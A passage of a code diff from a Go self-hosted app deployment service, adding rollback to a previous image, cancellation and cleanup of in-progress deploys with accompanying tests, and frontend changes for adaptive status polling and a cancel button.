// and creates a deployment record for the rollback.
|
||||||
|
func (svc *Service) Rollback(ctx context.Context, app *models.App) error {
|
||||||
|
if !app.PreviousImageID.Valid || app.PreviousImageID.String == "" {
|
||||||
|
return ErrNoPreviousImage
|
||||||
|
}
|
||||||
|
|
||||||
|
// Acquire per-app deployment lock
|
||||||
|
if !svc.tryLockApp(app.ID) {
|
||||||
|
return ErrDeploymentInProgress
|
||||||
|
}
|
||||||
|
defer svc.unlockApp(app.ID)
|
||||||
|
|
||||||
|
bgCtx := context.WithoutCancel(ctx)
|
||||||
|
|
||||||
|
deployment, err := svc.createRollbackDeployment(bgCtx, app)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return svc.executeRollback(ctx, bgCtx, app, deployment)
|
||||||
|
}
|
||||||
|
|
||||||
|
// createRollbackDeployment creates a deployment record for a rollback operation.
|
||||||
|
func (svc *Service) createRollbackDeployment(
|
||||||
|
ctx context.Context,
|
||||||
|
app *models.App,
|
||||||
|
) (*models.Deployment, error) {
|
||||||
|
deployment := models.NewDeployment(svc.db)
|
||||||
|
deployment.AppID = app.ID
|
||||||
|
deployment.Status = models.DeploymentStatusDeploying
|
||||||
|
deployment.ImageID = sql.NullString{String: app.PreviousImageID.String, Valid: true}
|
||||||
|
|
||||||
|
saveErr := deployment.Save(ctx)
|
||||||
|
if saveErr != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create rollback deployment: %w", saveErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = deployment.AppendLog(ctx, "Rolling back to previous image: "+app.PreviousImageID.String)
|
||||||
|
|
||||||
|
return deployment, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// executeRollback performs the container swap for a rollback.
|
||||||
|
func (svc *Service) executeRollback(
|
||||||
|
ctx context.Context,
|
||||||
|
bgCtx context.Context,
|
||||||
|
app *models.App,
|
||||||
|
deployment *models.Deployment,
|
||||||
|
) error {
|
||||||
|
previousImageID := app.PreviousImageID.String
|
||||||
|
|
||||||
|
svc.removeOldContainer(ctx, app, deployment)
|
||||||
|
|
||||||
|
rollbackOpts, err := svc.buildContainerOptions(ctx, app, deployment.ID)
|
||||||
|
if err != nil {
|
||||||
|
svc.failDeployment(bgCtx, app, deployment, err)
|
||||||
|
|
||||||
|
return fmt.Errorf("failed to build container options: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
rollbackOpts.Image = previousImageID
|
||||||
|
|
||||||
|
containerID, err := svc.docker.CreateContainer(ctx, rollbackOpts)
|
||||||
|
if err != nil {
|
||||||
|
svc.failDeployment(bgCtx, app, deployment, fmt.Errorf("failed to create rollback container: %w", err))
|
||||||
|
|
||||||
|
return fmt.Errorf("failed to create rollback container: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
deployment.ContainerID = sql.NullString{String: containerID, Valid: true}
|
||||||
|
_ = deployment.AppendLog(bgCtx, "Rollback container created: "+containerID)
|
||||||
|
|
||||||
|
startErr := svc.docker.StartContainer(ctx, containerID)
|
||||||
|
if startErr != nil {
|
||||||
|
svc.failDeployment(bgCtx, app, deployment, fmt.Errorf("failed to start rollback container: %w", startErr))
|
||||||
|
|
||||||
|
return fmt.Errorf("failed to start rollback container: %w", startErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = deployment.AppendLog(bgCtx, "Rollback container started")
|
||||||
|
|
||||||
|
currentImageID := app.ImageID
|
||||||
|
app.ImageID = sql.NullString{String: previousImageID, Valid: true}
|
||||||
|
app.PreviousImageID = currentImageID
|
||||||
|
app.Status = models.AppStatusRunning
|
||||||
|
|
||||||
|
saveErr := app.Save(bgCtx)
|
||||||
|
if saveErr != nil {
|
||||||
|
return fmt.Errorf("failed to update app after rollback: %w", saveErr)
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = deployment.MarkFinished(bgCtx, models.DeploymentStatusSuccess)
|
||||||
|
_ = deployment.AppendLog(bgCtx, "Rollback complete")
|
||||||
|
|
||||||
|
svc.log.Info("rollback completed", "app", app.Name, "image", previousImageID)
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// runBuildAndDeploy executes the build and deploy phases, handling cancellation.
|
||||||
|
func (svc *Service) runBuildAndDeploy(
|
||||||
|
deployCtx context.Context,
|
||||||
|
bgCtx context.Context,
|
||||||
|
app *models.App,
|
||||||
|
deployment *models.Deployment,
|
||||||
|
) error {
|
||||||
// Build phase with timeout
|
// Build phase with timeout
|
||||||
imageID, err := svc.buildImageWithTimeout(ctx, app, deployment)
|
imageID, err := svc.buildImageWithTimeout(deployCtx, app, deployment)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
cancelErr := svc.checkCancelled(deployCtx, bgCtx, app, deployment, "")
|
||||||
|
if cancelErr != nil {
|
||||||
|
return cancelErr
|
||||||
|
}
|
||||||
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
svc.notify.NotifyBuildSuccess(ctx, app, deployment)
|
svc.notify.NotifyBuildSuccess(bgCtx, app, deployment)
|
||||||
|
|
||||||
// Deploy phase with timeout
|
// Deploy phase with timeout
|
||||||
err = svc.deployContainerWithTimeout(ctx, app, deployment, imageID)
|
err = svc.deployContainerWithTimeout(deployCtx, app, deployment, imageID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
cancelErr := svc.checkCancelled(deployCtx, bgCtx, app, deployment, imageID)
|
||||||
|
if cancelErr != nil {
|
||||||
|
return cancelErr
|
||||||
|
}
|
||||||
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
err = svc.updateAppRunning(ctx, app, imageID)
|
// Save current image as previous before updating to new one
|
||||||
|
if app.ImageID.Valid && app.ImageID.String != "" {
|
||||||
|
app.PreviousImageID = app.ImageID
|
||||||
|
}
|
||||||
|
|
||||||
|
err = svc.updateAppRunning(bgCtx, app, imageID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// Use context.WithoutCancel to ensure health check completes even if
|
// Use context.WithoutCancel to ensure health check completes even if
|
||||||
// the parent context is cancelled (e.g., HTTP request ends).
|
// the parent context is cancelled (e.g., HTTP request ends).
|
||||||
go svc.checkHealthAfterDelay(context.WithoutCancel(ctx), app, deployment)
|
go svc.checkHealthAfterDelay(bgCtx, app, deployment)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -457,6 +643,96 @@ func (svc *Service) unlockApp(appID string) {
|
|||||||
svc.getAppLock(appID).Unlock()
|
svc.getAppLock(appID).Unlock()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// cancelActiveDeploy cancels any in-progress deployment for the given app
|
||||||
|
// and waits for it to finish before returning.
|
||||||
|
func (svc *Service) cancelActiveDeploy(appID string) {
|
||||||
|
val, ok := svc.activeDeploys.Load(appID)
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
ad, ok := val.(*activeDeploy)
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
svc.log.Info("cancelling in-progress deployment", "app_id", appID)
|
||||||
|
ad.cancel()
|
||||||
|
<-ad.done
|
||||||
|
}
|
||||||
|
|
||||||
|
// checkCancelled checks if the deploy context was cancelled (by a newer deploy)
|
||||||
|
// and if so, marks the deployment as cancelled and cleans up orphan resources.
|
||||||
|
// Returns ErrDeployCancelled or nil.
|
||||||
|
func (svc *Service) checkCancelled(
|
||||||
|
deployCtx context.Context,
|
||||||
|
bgCtx context.Context,
|
||||||
|
app *models.App,
|
||||||
|
deployment *models.Deployment,
|
||||||
|
imageID string,
|
||||||
|
) error {
|
||||||
|
if !errors.Is(deployCtx.Err(), context.Canceled) {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
svc.log.Info("deployment cancelled", "app", app.Name)
|
||||||
|
|
||||||
|
svc.cleanupCancelledDeploy(bgCtx, app, deployment, imageID)
|
||||||
|
|
||||||
|
_ = deployment.MarkFinished(bgCtx, models.DeploymentStatusCancelled)
|
||||||
|
|
||||||
|
return ErrDeployCancelled
|
||||||
|
}
|
||||||
|
|
||||||
|
// cleanupCancelledDeploy removes orphan resources left by a cancelled deployment.
|
||||||
|
func (svc *Service) cleanupCancelledDeploy(
|
||||||
|
ctx context.Context,
|
||||||
|
app *models.App,
|
||||||
|
deployment *models.Deployment,
|
||||||
|
imageID string,
|
||||||
|
) {
|
||||||
|
// Clean up the intermediate Docker image if one was built
|
||||||
|
if imageID != "" {
|
||||||
|
removeErr := svc.docker.RemoveImage(ctx, imageID)
|
||||||
|
if removeErr != nil {
|
||||||
|
svc.log.Error("failed to remove image from cancelled deploy",
|
||||||
|
"error", removeErr, "app", app.Name, "image", imageID)
|
||||||
|
_ = deployment.AppendLog(ctx, "WARNING: failed to clean up image "+imageID+": "+removeErr.Error())
|
||||||
|
} else {
|
||||||
|
svc.log.Info("cleaned up image from cancelled deploy",
|
||||||
|
"app", app.Name, "image", imageID)
|
||||||
|
_ = deployment.AppendLog(ctx, "Cleaned up intermediate image: "+imageID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up the build directory for this deployment
|
||||||
|
buildDir := svc.GetBuildDir(app.Name)
|
||||||
|
|
||||||
|
entries, err := os.ReadDir(buildDir)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
prefix := fmt.Sprintf("%d-", deployment.ID)
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() && strings.HasPrefix(entry.Name(), prefix) {
|
||||||
|
dirPath := filepath.Join(buildDir, entry.Name())
|
||||||
|
|
||||||
|
removeErr := os.RemoveAll(dirPath)
|
||||||
|
if removeErr != nil {
|
||||||
|
svc.log.Error("failed to remove build dir from cancelled deploy",
|
||||||
|
"error", removeErr, "path", dirPath)
|
||||||
|
} else {
|
||||||
|
svc.log.Info("cleaned up build dir from cancelled deploy",
|
||||||
|
"app", app.Name, "path", dirPath)
|
||||||
|
|
||||||
|
_ = deployment.AppendLog(ctx, "Cleaned up build directory")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (svc *Service) fetchWebhookEvent(
|
func (svc *Service) fetchWebhookEvent(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
webhookEventID *int64,
|
webhookEventID *int64,
|
||||||
|
|||||||
133
internal/service/deploy/deploy_cancel_test.go
Normal file
133
internal/service/deploy/deploy_cancel_test.go
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
package deploy_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log/slog"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/service/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestCancelActiveDeploy_NoExisting(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc := deploy.NewTestService(slog.Default())
|
||||||
|
|
||||||
|
// Should not panic or block when no active deploy exists
|
||||||
|
svc.CancelActiveDeploy("nonexistent-app")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCancelActiveDeploy_CancelsAndWaits(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc := deploy.NewTestService(slog.Default())
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
done := make(chan struct{})
|
||||||
|
|
||||||
|
svc.RegisterActiveDeploy("app-1", cancel, done)
|
||||||
|
|
||||||
|
// Simulate a running deploy that respects cancellation
|
||||||
|
var deployFinished bool
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-ctx.Done()
|
||||||
|
|
||||||
|
deployFinished = true
|
||||||
|
|
||||||
|
close(done)
|
||||||
|
}()
|
||||||
|
|
||||||
|
svc.CancelActiveDeploy("app-1")
|
||||||
|
assert.True(t, deployFinished, "deploy should have finished after cancellation")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCancelActiveDeploy_BlocksUntilDone(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc := deploy.NewTestService(slog.Default())
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
done := make(chan struct{})
|
||||||
|
|
||||||
|
svc.RegisterActiveDeploy("app-2", cancel, done)
|
||||||
|
|
||||||
|
// Simulate slow cleanup after cancellation
|
||||||
|
go func() {
|
||||||
|
<-ctx.Done()
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
close(done)
|
||||||
|
}()
|
||||||
|
|
||||||
|
start := time.Now()
|
||||||
|
|
||||||
|
svc.CancelActiveDeploy("app-2")
|
||||||
|
|
||||||
|
elapsed := time.Since(start)
|
||||||
|
|
||||||
|
assert.GreaterOrEqual(t, elapsed, 50*time.Millisecond,
|
||||||
|
"cancelActiveDeploy should block until the deploy finishes")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryLockApp_PreventsConcurrent(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc := deploy.NewTestService(slog.Default())
|
||||||
|
|
||||||
|
assert.True(t, svc.TryLockApp("app-1"), "first lock should succeed")
|
||||||
|
assert.False(t, svc.TryLockApp("app-1"), "second lock should fail")
|
||||||
|
|
||||||
|
svc.UnlockApp("app-1")
|
||||||
|
|
||||||
|
assert.True(t, svc.TryLockApp("app-1"), "lock after unlock should succeed")
|
||||||
|
|
||||||
|
svc.UnlockApp("app-1")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCancelActiveDeploy_AllowsNewDeploy(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
svc := deploy.NewTestService(slog.Default())
|
||||||
|
|
||||||
|
// Simulate an active deploy holding the lock
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
done := make(chan struct{})
|
||||||
|
|
||||||
|
svc.RegisterActiveDeploy("app-3", cancel, done)
|
||||||
|
|
||||||
|
// Lock the app as if a deploy is in progress
|
||||||
|
assert.True(t, svc.TryLockApp("app-3"))
|
||||||
|
|
||||||
|
// Simulate deploy goroutine: release lock on cancellation
|
||||||
|
var mu sync.Mutex
|
||||||
|
|
||||||
|
released := false
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
<-ctx.Done()
|
||||||
|
|
||||||
|
svc.UnlockApp("app-3")
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
released = true
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
close(done)
|
||||||
|
}()
|
||||||
|
|
||||||
|
// Cancel should cause the old deploy to release its lock
|
||||||
|
svc.CancelActiveDeploy("app-3")
|
||||||
|
|
||||||
|
mu.Lock()
|
||||||
|
assert.True(t, released)
|
||||||
|
mu.Unlock()
|
||||||
|
|
||||||
|
// Now a new deploy should be able to acquire the lock
|
||||||
|
assert.True(t, svc.TryLockApp("app-3"), "should be able to lock after cancellation")
|
||||||
|
|
||||||
|
svc.UnlockApp("app-3")
|
||||||
|
}
|
||||||
63
internal/service/deploy/deploy_cleanup_test.go
Normal file
63
internal/service/deploy/deploy_cleanup_test.go
Normal file
@@ -0,0 +1,63 @@
|
|||||||
|
package deploy_test
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log/slog"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/config"
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/service/deploy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestCleanupCancelledDeploy_RemovesBuildDir(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tmpDir := t.TempDir()
|
||||||
|
cfg := &config.Config{DataDir: tmpDir}
|
||||||
|
|
||||||
|
svc := deploy.NewTestServiceWithConfig(slog.Default(), cfg, nil)
|
||||||
|
|
||||||
|
// Create a fake build directory matching the deployment pattern
|
||||||
|
appName := "test-app"
|
||||||
|
buildDir := svc.GetBuildDirExported(appName)
|
||||||
|
require.NoError(t, os.MkdirAll(buildDir, 0o750))
|
||||||
|
|
||||||
|
// Create deployment-specific dir: <deploymentID>-<random>
|
||||||
|
deployDir := filepath.Join(buildDir, "42-abc123")
|
||||||
|
require.NoError(t, os.MkdirAll(deployDir, 0o750))
|
||||||
|
|
||||||
|
// Create a file inside to verify full removal
|
||||||
|
require.NoError(t, os.WriteFile(filepath.Join(deployDir, "work"), []byte("test"), 0o600))
|
||||||
|
|
||||||
|
// Also create a dir for a different deployment (should NOT be removed)
|
||||||
|
otherDir := filepath.Join(buildDir, "99-xyz789")
|
||||||
|
require.NoError(t, os.MkdirAll(otherDir, 0o750))
|
||||||
|
|
||||||
|
// Run cleanup for deployment 42
|
||||||
|
svc.CleanupCancelledDeploy(context.Background(), appName, 42, "")
|
||||||
|
|
||||||
|
// Deployment 42's dir should be gone
|
||||||
|
_, err := os.Stat(deployDir)
|
||||||
|
assert.True(t, os.IsNotExist(err), "deployment build dir should be removed")
|
||||||
|
|
||||||
|
// Deployment 99's dir should still exist
|
||||||
|
_, err = os.Stat(otherDir)
|
||||||
|
assert.NoError(t, err, "other deployment build dir should not be removed")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCleanupCancelledDeploy_NoBuildDir(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
tmpDir := t.TempDir()
|
||||||
|
cfg := &config.Config{DataDir: tmpDir}
|
||||||
|
|
||||||
|
svc := deploy.NewTestServiceWithConfig(slog.Default(), cfg, nil)
|
||||||
|
|
||||||
|
// Should not panic when build dir doesn't exist
|
||||||
|
svc.CleanupCancelledDeploy(context.Background(), "nonexistent-app", 1, "")
|
||||||
|
}
|
||||||
82
internal/service/deploy/export_test.go
Normal file
82
internal/service/deploy/export_test.go
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/config"
|
||||||
|
"git.eeqj.de/sneak/upaas/internal/docker"
|
||||||
|
)
|
||||||
|
|
||||||
|
// NewTestService creates a Service with minimal dependencies for testing.
|
||||||
|
func NewTestService(log *slog.Logger) *Service {
|
||||||
|
return &Service{
|
||||||
|
log: log,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CancelActiveDeploy exposes cancelActiveDeploy for testing.
|
||||||
|
func (svc *Service) CancelActiveDeploy(appID string) {
|
||||||
|
svc.cancelActiveDeploy(appID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterActiveDeploy registers an active deploy for testing.
|
||||||
|
func (svc *Service) RegisterActiveDeploy(appID string, cancel context.CancelFunc, done chan struct{}) {
|
||||||
|
svc.activeDeploys.Store(appID, &activeDeploy{cancel: cancel, done: done})
|
||||||
|
}
|
||||||
|
|
||||||
|
// TryLockApp exposes tryLockApp for testing.
|
||||||
|
func (svc *Service) TryLockApp(appID string) bool {
|
||||||
|
return svc.tryLockApp(appID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// UnlockApp exposes unlockApp for testing.
|
||||||
|
func (svc *Service) UnlockApp(appID string) {
|
||||||
|
svc.unlockApp(appID)
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTestServiceWithConfig creates a Service with config and docker client for testing.
|
||||||
|
func NewTestServiceWithConfig(log *slog.Logger, cfg *config.Config, dockerClient *docker.Client) *Service {
|
||||||
|
return &Service{
|
||||||
|
log: log,
|
||||||
|
config: cfg,
|
||||||
|
docker: dockerClient,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// CleanupCancelledDeploy exposes the build directory cleanup portion of
|
||||||
|
// cleanupCancelledDeploy for testing. It removes build directories matching
|
||||||
|
// the deployment ID prefix.
|
||||||
|
func (svc *Service) CleanupCancelledDeploy(
|
||||||
|
_ context.Context,
|
||||||
|
appName string,
|
||||||
|
deploymentID int64,
|
||||||
|
_ string,
|
||||||
|
) {
|
||||||
|
// We can't create real models.App/Deployment in tests easily,
|
||||||
|
// so we test the build dir cleanup portion directly.
|
||||||
|
buildDir := svc.GetBuildDir(appName)
|
||||||
|
|
||||||
|
entries, err := os.ReadDir(buildDir)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
prefix := fmt.Sprintf("%d-", deploymentID)
|
||||||
|
|
||||||
|
for _, entry := range entries {
|
||||||
|
if entry.IsDir() && strings.HasPrefix(entry.Name(), prefix) {
|
||||||
|
dirPath := filepath.Join(buildDir, entry.Name())
|
||||||
|
_ = os.RemoveAll(dirPath)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetBuildDirExported exposes GetBuildDir for testing.
|
||||||
|
func (svc *Service) GetBuildDirExported(appName string) string {
|
||||||
|
return svc.GetBuildDir(appName)
|
||||||
|
}
|
||||||
@@ -143,7 +143,7 @@ func (svc *Service) triggerDeployment(
|
|||||||
// even if the HTTP request context is cancelled.
|
// even if the HTTP request context is cancelled.
|
||||||
deployCtx := context.WithoutCancel(ctx)
|
deployCtx := context.WithoutCancel(ctx)
|
||||||
|
|
||||||
deployErr := svc.deploy.Deploy(deployCtx, app, &eventID)
|
deployErr := svc.deploy.Deploy(deployCtx, app, &eventID, true)
|
||||||
if deployErr != nil {
|
if deployErr != nil {
|
||||||
svc.log.Error("deployment failed", "error", deployErr, "app", appName)
|
svc.log.Error("deployment failed", "error", deployErr, "app", appName)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -102,7 +102,6 @@ func createTestApp(
|
|||||||
return app
|
return app
|
||||||
}
|
}
|
||||||
|
|
||||||
//nolint:funlen // table-driven test with comprehensive test cases
|
|
||||||
func TestExtractBranch(testingT *testing.T) {
|
func TestExtractBranch(testingT *testing.T) {
|
||||||
testingT.Parallel()
|
testingT.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -57,6 +57,10 @@
|
|||||||
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-success-500 text-white hover:bg-success-700 active:bg-green-800 focus:ring-green-500 shadow-elevation-1 hover:shadow-elevation-2;
|
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-success-500 text-white hover:bg-success-700 active:bg-green-800 focus:ring-green-500 shadow-elevation-1 hover:shadow-elevation-2;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.btn-warning {
|
||||||
|
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed bg-warning-500 text-white hover:bg-warning-700 active:bg-orange-800 focus:ring-orange-500 shadow-elevation-1 hover:shadow-elevation-2;
|
||||||
|
}
|
||||||
|
|
||||||
.btn-text {
|
.btn-text {
|
||||||
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed text-primary-600 hover:bg-primary-50 active:bg-primary-100;
|
@apply inline-flex items-center justify-center px-4 py-2 rounded-md font-medium text-sm transition-all duration-200 focus:outline-none focus:ring-2 focus:ring-offset-2 disabled:opacity-50 disabled:cursor-not-allowed text-primary-600 hover:bg-primary-50 active:bg-primary-100;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -185,11 +185,12 @@ document.addEventListener("alpine:init", () => {
|
|||||||
// Track whether user wants auto-scroll (per log pane)
|
// Track whether user wants auto-scroll (per log pane)
|
||||||
_containerAutoScroll: true,
|
_containerAutoScroll: true,
|
||||||
_buildAutoScroll: true,
|
_buildAutoScroll: true,
|
||||||
|
_pollTimer: null,
|
||||||
|
|
||||||
init() {
|
init() {
|
||||||
this.deploying = Alpine.store("utils").isDeploying(this.appStatus);
|
this.deploying = Alpine.store("utils").isDeploying(this.appStatus);
|
||||||
this.fetchAll();
|
this.fetchAll();
|
||||||
setInterval(() => this.fetchAll(), 1000);
|
this._schedulePoll();
|
||||||
|
|
||||||
// Set up scroll listeners after DOM is ready
|
// Set up scroll listeners after DOM is ready
|
||||||
this.$nextTick(() => {
|
this.$nextTick(() => {
|
||||||
@@ -198,6 +199,15 @@ document.addEventListener("alpine:init", () => {
|
|||||||
});
|
});
|
||||||
},
|
},
|
||||||
|
|
||||||
|
_schedulePoll() {
|
||||||
|
if (this._pollTimer) clearTimeout(this._pollTimer);
|
||||||
|
const interval = Alpine.store("utils").isDeploying(this.appStatus) ? 1000 : 10000;
|
||||||
|
this._pollTimer = setTimeout(() => {
|
||||||
|
this.fetchAll();
|
||||||
|
this._schedulePoll();
|
||||||
|
}, interval);
|
||||||
|
},
|
||||||
|
|
||||||
_initScrollTracking(el, flag) {
|
_initScrollTracking(el, flag) {
|
||||||
if (!el) return;
|
if (!el) return;
|
||||||
el.addEventListener('scroll', () => {
|
el.addEventListener('scroll', () => {
|
||||||
@@ -207,18 +217,36 @@ document.addEventListener("alpine:init", () => {
|
|||||||
|
|
||||||
fetchAll() {
|
fetchAll() {
|
||||||
this.fetchAppStatus();
|
this.fetchAppStatus();
|
||||||
this.fetchContainerLogs();
|
// Only fetch logs when the respective pane is visible
|
||||||
this.fetchBuildLogs();
|
if (this.$refs.containerLogsWrapper && this._isElementVisible(this.$refs.containerLogsWrapper)) {
|
||||||
|
this.fetchContainerLogs();
|
||||||
|
}
|
||||||
|
if (this.showBuildLogs && this.$refs.buildLogsWrapper && this._isElementVisible(this.$refs.buildLogsWrapper)) {
|
||||||
|
this.fetchBuildLogs();
|
||||||
|
}
|
||||||
this.fetchRecentDeployments();
|
this.fetchRecentDeployments();
|
||||||
},
|
},
|
||||||
|
|
||||||
|
_isElementVisible(el) {
|
||||||
|
if (!el) return false;
|
||||||
|
// Check if element is in viewport (roughly)
|
||||||
|
const rect = el.getBoundingClientRect();
|
||||||
|
return rect.bottom > 0 && rect.top < window.innerHeight;
|
||||||
|
},
|
||||||
|
|
||||||
async fetchAppStatus() {
|
async fetchAppStatus() {
|
||||||
try {
|
try {
|
||||||
const res = await fetch(`/apps/${this.appId}/status`);
|
const res = await fetch(`/apps/${this.appId}/status`);
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
|
const wasDeploying = this.deploying;
|
||||||
this.appStatus = data.status;
|
this.appStatus = data.status;
|
||||||
this.deploying = Alpine.store("utils").isDeploying(data.status);
|
this.deploying = Alpine.store("utils").isDeploying(data.status);
|
||||||
|
|
||||||
|
// Re-schedule polling when deployment state changes
|
||||||
|
if (this.deploying !== wasDeploying) {
|
||||||
|
this._schedulePoll();
|
||||||
|
}
|
||||||
|
|
||||||
if (
|
if (
|
||||||
data.latestDeploymentID &&
|
data.latestDeploymentID &&
|
||||||
data.latestDeploymentID !== this.currentDeploymentId
|
data.latestDeploymentID !== this.currentDeploymentId
|
||||||
@@ -429,7 +457,18 @@ document.addEventListener("alpine:init", () => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
this.fetchAppStatus();
|
this.fetchAppStatus();
|
||||||
setInterval(() => this.fetchAppStatus(), 1000);
|
this._scheduleStatusPoll();
|
||||||
|
},
|
||||||
|
|
||||||
|
_statusPollTimer: null,
|
||||||
|
|
||||||
|
_scheduleStatusPoll() {
|
||||||
|
if (this._statusPollTimer) clearTimeout(this._statusPollTimer);
|
||||||
|
const interval = this.isDeploying ? 1000 : 10000;
|
||||||
|
this._statusPollTimer = setTimeout(() => {
|
||||||
|
this.fetchAppStatus();
|
||||||
|
this._scheduleStatusPoll();
|
||||||
|
}, interval);
|
||||||
},
|
},
|
||||||
|
|
||||||
async fetchAppStatus() {
|
async fetchAppStatus() {
|
||||||
@@ -464,6 +503,7 @@ document.addEventListener("alpine:init", () => {
|
|||||||
// Update deploying state based on latest deployment status
|
// Update deploying state based on latest deployment status
|
||||||
if (deploying && !this.isDeploying) {
|
if (deploying && !this.isDeploying) {
|
||||||
this.isDeploying = true;
|
this.isDeploying = true;
|
||||||
|
this._scheduleStatusPoll(); // Switch to fast polling
|
||||||
} else if (!deploying && this.isDeploying) {
|
} else if (!deploying && this.isDeploying) {
|
||||||
// Deployment finished - reload to show final state
|
// Deployment finished - reload to show final state
|
||||||
this.isDeploying = false;
|
this.isDeploying = false;
|
||||||
|
|||||||
@@ -40,6 +40,16 @@
|
|||||||
<span x-text="deploying ? 'Deploying...' : 'Deploy Now'"></span>
|
<span x-text="deploying ? 'Deploying...' : 'Deploy Now'"></span>
|
||||||
</button>
|
</button>
|
||||||
</form>
|
</form>
|
||||||
|
<form method="POST" action="/apps/{{.App.ID}}/deployments/cancel" class="inline" x-show="deploying" x-cloak x-data="confirmAction('Cancel the current deployment?')" @submit="confirm($event)">
|
||||||
|
{{ .CSRFField }}
|
||||||
|
<button type="submit" class="btn-danger">Cancel Deploy</button>
|
